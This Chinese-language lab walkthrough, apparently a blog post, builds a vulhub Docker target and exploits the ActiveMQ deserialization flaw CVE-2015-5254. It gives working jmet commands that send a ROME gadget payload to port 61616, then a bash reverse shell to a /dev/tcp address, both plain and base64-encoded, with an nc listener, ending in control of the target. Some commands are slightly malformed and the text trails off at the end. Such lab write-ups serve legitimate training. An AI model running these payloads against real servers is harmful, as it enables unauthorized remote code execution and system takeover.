Bootstrap

kali搭建vulhub

ActiveMQ 反序列化漏洞(CVE-2015-5254)

kali(攻击机)

Ubuntu(靶机-192.168.150.141)

安装docker(ubuntu)

更新源命令:apt-get update

安装docker命令:apt install docker.io

查看docker版本命令:docker --version

安装docker-compose

更新源命令:apt-get update

安装docker-compose命令:apt install docker-compose

查看docker-compose版本命令:docker-compose --version

下载vulhub

下载vulhub命令:

git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

换源

步骤一:编辑 Docker 配置文件

sudo nano /etc/docker/daemon.json

步骤二:添加国内镜像源 (阿里云内容如下)

{

 "registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]

}

步骤三:重启 Docker 服务命令

sudo systemctl daemon-reload

sudo systemctl restart docker

进入靶场及拉取镜像

进入环境命令:cd vulhub

ls命令查看其中所有的靶场:

cd 靶场-进入一个靶场

启动项目靶场命令:docker-compose up -d (关闭:docker-compose )

查看靶场端口命令:docker ps

运行环境后,它将在端口 61616 和 8161 上建立两个端口。端口 61616 是工作端口,消息在此端口上传递。端口 8161 是网页管理页面端口。访问,可以看到网络管理页面,但这个漏洞理论上不需要网络。浏览器访问:http://your-ip:8161

使用默认账号密码进行登录(admin/admin),其中ActiveMQ的版本为5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

漏洞利用步骤

  1. 生成序列化有效负载(可以使用 ysoserial)
  2. 将有效负载发送到端口 61616
  3. 访问 Web 管理页面并阅读序列化消息,然后可以触发漏洞。

过程

首先下载jmet的jar文件,在同一个目录下创建名为external 的文件夹

#下载jmet的jar包 命令如下:

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

#在刚刚下载jmet包的同一目录下创建external目录  命令如下:

mkdir external 

在攻击机kali中执行命令,将有效负载发送到靶机IP的61616端口:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.150.141 61616

此时,将向目标 ActiveMQ 添加一个名为 event 的队列,可以访问以查看此队列中的所有消息。http://your-ip:8161/admin/browse.jsp?JMSDestination=Event

点击此消息触发命令执行

进入容器,命令:docker-compose exec activemq bash

输入命令:ls -la /tmp/ 可以看到 /tmp/success 已成功创建,表示漏洞利用成功

反弹shell

将该命令替换为反向 shell 语句并重用它:

#bash反弹命令

bash -i >& /dev/tcp/192.168.150.128 /31005 0>&1 

将命令进行base64编码得到base64编码值:

#bash64解码

bash -c {echo,base64编码值}|{base64,-d}|{bash,-i}

#在kali上开启端口监听命令:

nc -lvvp 31005

#kali执行弹shell命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMjggLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.150.141  61616

重新查看event队列,找到对应的ID号点击触发执行

返回监听端口是否已经接受到弹回的shell

可以看到此时靶机已被控制

正常情况下

;